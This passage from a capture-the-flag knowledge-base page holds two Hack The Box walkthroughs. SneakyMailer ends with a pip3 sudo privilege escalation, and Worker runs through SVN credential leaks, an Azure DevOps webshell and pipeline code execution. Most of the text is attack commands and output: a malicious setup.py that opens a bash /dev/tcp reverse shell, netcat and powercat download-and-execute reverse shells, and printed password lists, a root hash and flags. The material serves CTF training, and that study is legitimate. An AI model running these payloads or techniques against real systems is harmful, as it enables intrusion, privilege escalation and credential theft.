warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating example-pkg3-0.0.1
creating example-pkg3-0.0.1/example_pkg3.egg-info
copying files to example-pkg3-0.0.1...
copying setup.py -> example-pkg3-0.0.1
copying example_pkg3.egg-info/PKG-INFO -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/SOURCES.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/dependency_links.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
copying example_pkg3.egg-info/top_level.txt -> example-pkg3-0.0.1/example_pkg3.egg-info
Writing example-pkg3-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 'example-pkg3-0.0.1' (and everything under it)
running register
Registering example-pkg3 to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/example-pkg3-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
```

now login with ssh as low:

``` bash
root@kali:~/hackthebox/machine/SneakyMailer# chmod 700 key
root@kali:~/hackthebox/machine/SneakyMailer# ssh -i key low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:~$ whoami
low
```

then we got user.txt

``` bash
low@sneakymailer:~$ ls
user.txt  venv
low@sneakymailer:~$ cat user.txt
92d8adff6a2d3da02673a9fb6aa471a4
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb43.jpg)

#### privilege esclation

run the following command

``` bash
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
                                                                                                                                   
User low may run the following commands on sneakymailer:                                                                           
    (root) NOPASSWD: /usr/bin/pip3
```

let's cd to /dev/shm, then create a python script

``` bash
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
	def run(self):
		install.run(self)
		os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9002 0>&1'")
setup(
		name='FakePip',
		version='0.0.1',
		description='This will exploit a sudoer able to /usr/bin/pip install *',
		url='https://github.com/0x00-0x00/fakepip',
		author='zc00l',
		author_email='andre.marques@esecurity.com.br',
		license='MIT',
		zip_safe=False,
		cmdclass={'install': CustomInstall})
```

run the following payload

``` bash
low@sneakymailer:/dev/shm$ sudo /usr/bin/pip3 install . --upgrade --force-reinstall
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /dev/shm
Building wheels for collected packages: FakePip
  Running setup.py bdist_wheel for FakePip ... -
```

start nc to listen on 9002 port:

then we got root!!!

``` bash
root@kali:~# nc -lvp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:40898.
root@sneakymailer:/tmp/pip-req-build-ht66bwjk# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sneakymailer:/tmp/pip-req-build-ht66bwjk# whoami
whoami
root
root@sneakymailer:/tmp/pip-req-build-ht66bwjk# cd /root
cd /root
root@sneakymailer:~# ls
ls
root.txt
root@sneakymailer:~# cat root.txt
cat root.txt
464554578c27d528fb9c5710ec3de868
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb44.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb45.jpg)

 - the root hash to unlock other writeups:

``` bash
root:$6$jJW2Iy0Knfw7c6gr$/p2MAEhr7Fy4bMIT8szzgnSkL2kp8EaPKvGQ//cfcX0bMnazYHzNwWIsGaGwgceFyftI2Xihj0rrhUbfkrzhf.:18402:0:99999:7:::
```

#### Summary of knowledge

 - subdomain fuzz
 - swaks to test email and got credentials
 - evolution email tools usage
 - pypiserver hash crack
 - create py script to get pypiserver privesc through ssh key poison
 - scp transfer files
 - use pip3 privesc to root

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end SneakyMailer -->

</details>

<a id="case-worker"></a>

## SVN 历史与 DevOps Agent 身份

源码和凭据连接 Azure DevOps，仓库写入与 pipeline 的执行用户决定后续权限。分支、构建和脚本日志按原链留存。

<p class="kb-provenance">来源 worker · 原记录 2020-08-18 · 26 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-worker">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start worker -->

#### introduce

OS: Windows
Difficulty: Medium
Points:	30
Release:	15 Aug 2020
IP:	10.10.10.203

User Blood haqpl 00 days, 01 hours, 29 mins, 58 seconds.
Root Blood qtc	 00 days, 03 hours, 10 mins, 42 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb64.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sV -v -p- --min-rate=10000 10.10.10.203
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
3690/tcp open  svnserve Subversion
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### web

then browser to the following url

``` bash
http://10.10.10.203/
```

shows us a default IIS webpage:

#### svnserve Subversion

looking around and found the following website:

 - [SVN Commands Cheat Sheet](https://www.perforce.com/blog/vcs/svn-commands-cheat-sheet)

With this article we should be able to enumerate this service

``` bash
root@kali:~# svn list svn://10.10.10.203
dimension.worker.htb/
moved.txt
```

time to download those files

``` bash
root@kali:~/hackthebox/machine/worker# svn export svn://10.10.10.203/moved.txt
A    moved.txt
完成导出。
root@kali:~/hackthebox/machine/worker# ls
moved.txt
root@kali:~/hackthebox/machine/worker# cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)
```

seen a new host name so also should add that to our /etc/hosts

``` bash
http://devops.worker.htb
```

look at the dimensions page, find again a lot sub domains:

``` bash
http://alpha.worker.htb/
http://cartoon.worker.htb/
http://lens.worker.htb/
http://solid-state.worker.htb/
http://spectral.worker.htb/
http://story.worker.htb/
```

also added them to my /etc/hosts file but couldn’t find there anything for now.
when we look at devops.worker.htb we getting asked for credentials:

looking back at the svn service there could also be revisions, lets see if that’s here the case:

``` bash
root@kali:~# svn info svn://10.10.10.203
路径: .
URL: svn://10.10.10.203
Relative URL: ^/
版本库根: svn://10.10.10.203
版本库 UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
版本: 5
节点种类: 目录
最后修改的作者: nathen
最后修改的版本: 5
最后修改的时间: 2020-06-20 09:52:00 -0400 (六, 2020-06-20)
```

looks like there is we also see an potential username: nathen
let’s see if we can get some more info about these revisions

``` bash
root@kali:~# svn log svn://10.10.10.203
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (六, 2020-06-20) | 1 行

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (六, 2020-06-20) | 1 行

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (六, 2020-06-20) | 1 行

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (六, 2020-06-20) | 1 行

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (六, 2020-06-20) | 1 行

First version
------------------------------------------------------------------------
```

then download these files:

``` bash
root@kali:~/hackthebox/machine/worker# svn export -r 2 svn://10.10.10.203 –force
A    –force
A    –force/deploy.ps1
A    –force/dimension.worker.htb
A    –force/dimension.worker.htb/LICENSE.txt
A    –force/dimension.worker.htb/README.txt
A    –force/dimension.worker.htb/assets
A    –force/dimension.worker.htb/assets/css
A    –force/dimension.worker.htb/assets/css/fontawesome-all.min.css
A    –force/dimension.worker.htb/assets/css/main.css
A    –force/dimension.worker.htb/assets/css/noscript.css
A    –force/dimension.worker.htb/assets/js
A    –force/dimension.worker.htb/assets/js/breakpoints.min.js
A    –force/dimension.worker.htb/assets/js/browser.min.js
A    –force/dimension.worker.htb/assets/js/jquery.min.js
A    –force/dimension.worker.htb/assets/js/main.js
A    –force/dimension.worker.htb/assets/js/util.js
A    –force/dimension.worker.htb/assets/sass
A    –force/dimension.worker.htb/assets/sass/base
A    –force/dimension.worker.htb/assets/sass/base/_page.scss
A    –force/dimension.worker.htb/assets/sass/base/_reset.scss
A    –force/dimension.worker.htb/assets/sass/base/_typography.scss
A    –force/dimension.worker.htb/assets/sass/components
A    –force/dimension.worker.htb/assets/sass/components/_actions.scss
A    –force/dimension.worker.htb/assets/sass/components/_box.scss
A    –force/dimension.worker.htb/assets/sass/components/_button.scss
A    –force/dimension.worker.htb/assets/sass/components/_form.scss
A    –force/dimension.worker.htb/assets/sass/components/_icon.scss
A    –force/dimension.worker.htb/assets/sass/components/_icons.scss
A    –force/dimension.worker.htb/assets/sass/components/_image.scss
A    –force/dimension.worker.htb/assets/sass/components/_list.scss
A    –force/dimension.worker.htb/assets/sass/components/_table.scss
A    –force/dimension.worker.htb/assets/sass/layout
A    –force/dimension.worker.htb/assets/sass/layout/_bg.scss
A    –force/dimension.worker.htb/assets/sass/layout/_footer.scss
A    –force/dimension.worker.htb/assets/sass/layout/_header.scss
A    –force/dimension.worker.htb/assets/sass/layout/_main.scss
A    –force/dimension.worker.htb/assets/sass/layout/_wrapper.scss
A    –force/dimension.worker.htb/assets/sass/libs
A    –force/dimension.worker.htb/assets/sass/libs/_breakpoints.scss
A    –force/dimension.worker.htb/assets/sass/libs/_functions.scss
A    –force/dimension.worker.htb/assets/sass/libs/_mixins.scss
A    –force/dimension.worker.htb/assets/sass/libs/_vars.scss
A    –force/dimension.worker.htb/assets/sass/libs/_vendor.scss
A    –force/dimension.worker.htb/assets/sass/main.scss
A    –force/dimension.worker.htb/assets/sass/noscript.scss
A    –force/dimension.worker.htb/assets/webfonts
A    –force/dimension.worker.htb/assets/webfonts/fa-brands-400.eot
A    –force/dimension.worker.htb/assets/webfonts/fa-brands-400.svg
A    –force/dimension.worker.htb/assets/webfonts/fa-brands-400.ttf
A    –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff
A    –force/dimension.worker.htb/assets/webfonts/fa-brands-400.woff2
A    –force/dimension.worker.htb/assets/webfonts/fa-regular-400.eot
A    –force/dimension.worker.htb/assets/webfonts/fa-regular-400.svg
A    –force/dimension.worker.htb/assets/webfonts/fa-regular-400.ttf
A    –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff
A    –force/dimension.worker.htb/assets/webfonts/fa-regular-400.woff2
A    –force/dimension.worker.htb/assets/webfonts/fa-solid-900.eot
A    –force/dimension.worker.htb/assets/webfonts/fa-solid-900.svg
A    –force/dimension.worker.htb/assets/webfonts/fa-solid-900.ttf
A    –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff
A    –force/dimension.worker.htb/assets/webfonts/fa-solid-900.woff2
A    –force/dimension.worker.htb/images
A    –force/dimension.worker.htb/images/bg.jpg
A    –force/dimension.worker.htb/images/overlay.png
A    –force/dimension.worker.htb/images/pic01.jpg
A    –force/dimension.worker.htb/images/pic02.jpg
A    –force/dimension.worker.htb/images/pic03.jpg
A    –force/dimension.worker.htb/index.html

```

then look at the deploy.ps1 we see some credentials:

``` bash
root@kali:~/hackthebox/machine/worker/–force# cat deploy.ps1 
$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
```

 - username: nathen

 - password: wendel98

The only place where we could try credentials for now is

``` bash
http://devops.worker.htb/
```

and we are logged in

Turns out we can edit here all the sites that we discovered earlier on the dimensions page.

since this a iis server we should be able now to create a reverse shell with asp or aspx.

gonna use aspx reverseshell cmdasp.aspx to spawn a reverse shell:

 - First we are gonna add a new branch:

go to Repos then click on SmartHotel360 and change to alpha for example. (there are subdomain DNS rabbithole)

 - Upload our aspx shell to our branch

 - create a new pull request

 - approve and complete pull request

then get a reverse shell

now Add spectral.worker.htb to your /etc/hosts and connect to 

visit: http://spectral.worker.htb/cmdasp.aspx

now our webshell is avalueable

let's make a reverse shell
on the webshell:

``` bash
mkdir C:\temp
```
then

``` bash
powershell -command Invoke-WebRequest -Uri http://10.10.14.5:8001/nc64.exe -Outfile C:\\temp\\nc64.exe
```

then:
``` bash
C:\temp\nc64.exe 10.10.14.5 4445 -e powershell.exe
```
on your local machine
``` bash
copy nc64.exe in worker directory
```
then
``` bash
python -m SimpleHTTPServer 8001
```
and on another terminal:
``` bash
nc -lvp 4445
```
now your connected as iis apppool\defaultapppool.

``` bash
root@kali:~# nc -lvp 4445
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.10.203.
Ncat: Connection from 10.10.10.203:50819.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> whoami
whoami
iis apppool\defaultapppool
```

after running WinPEAs, we discover there is a w:\ drive
after some enumeration we find a password file:

``` bash
PS W:\svnrepos\www\conf> type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
```

look at c:\users\ we see that robisl is a valid user on the box.
Getting a shell with robisl and get user:

``` bash
root@kali:~# evil-winrm -i 10.10.10.203 -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> ls


    Directory: C:\Users\robisl\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/18/2020   5:47 PM             34 user.txt


*Evil-WinRM* PS C:\Users\robisl\Desktop> cat user.txt
8a5171122e56ad7a77aabbc239f14892
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb65.jpg)

#### get root

after some enum, we can't privesc to root with robisl, (or maybe there a way but didn't find anything usefull)

come back on the website devops.worker.htb and tryied to connect as robisl using wolves11 as password.

We are connected ! 

And the repo isn't the same but nothing really usefull inside it. (no password stored, etc...)

 - But we can see we can create pipeline. 

create a basic project.

go to pipeline, start one, then take Azure Repos git, select the basic default option (partunlimited)

then pick "Starter pipeline" in the different project list.

on the config script we can see we can execute command.
okay let's see what's we are:

 - replace echo Hello, world by whoami.

And remove the line:

``` bash
pool: 'Default'
```

because the server don't have pool agent so the build will fail and we won't have code execution.

now it's all good press Save and run and let's wait the build finish.

when looking at the log (script log) , we can see we run as

``` bash
##[section]Starting: Run a one-line script
==============================================================================
Task         : Command line
Description  : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows
Version      : 2.151.1
Author       : Microsoft Corporation
Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line
==============================================================================
Generating script.
Script contents:
whoami
========================== Starting Command Output ===========================
##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\b1a4ec90-9e94-4e5f-9074-a565cefb9956.cmd""
nt authority\system
##[section]Finishing: Run a one-line script
```

We run the code execution as root!!!

just create another pipeline and change script command to

``` bash
type C:\Users\Administrator\Desktop\root.txt
```

and we got the root flag

``` bash
##[section]Starting: Run a one-line script
==============================================================================
Task         : Command line
Description  : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows
Version      : 2.151.1
Author       : Microsoft Corporation
Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line
==============================================================================
Generating script.
Script contents:
type C:\Users\Administrator\Desktop\root.txt
========================== Starting Command Output ===========================
##[command]"C:\Windows\system32\cmd.exe" /D /E:ON /V:OFF /S /C "CALL "w:\agents\agent11\_work\_temp\389e4fa6-cf26-41d6-9dc5-7d09979f7b00.cmd""
43ebb4cb30276f0c2e77511c1d5b69d4
##[section]Finishing: Run a one-line script
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb66.jpg)

this is a ctf,we can stop at here now.

or add a reverse shell command if you want to connect to your local machine.

``` bash
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.5/powercat.ps1');powercat -c 10.10.14.5 -p 3344 -e cmd"
```

 - [powercat github download](https://github.com/besimorhino/powercat)

on attack machine

``` bash
python -m SimpleHTTPServer 80
```

then run it, we will get a reverse shell


 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb67.jpg)


#### Summary of knowledge

 - enumerate svn service
 - credentials disclosure
 - azure devops getshell
 - powershell download files
 - WinPEAs usage
 - azure devops create pipeline then get command excecution

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end worker -->

</details>


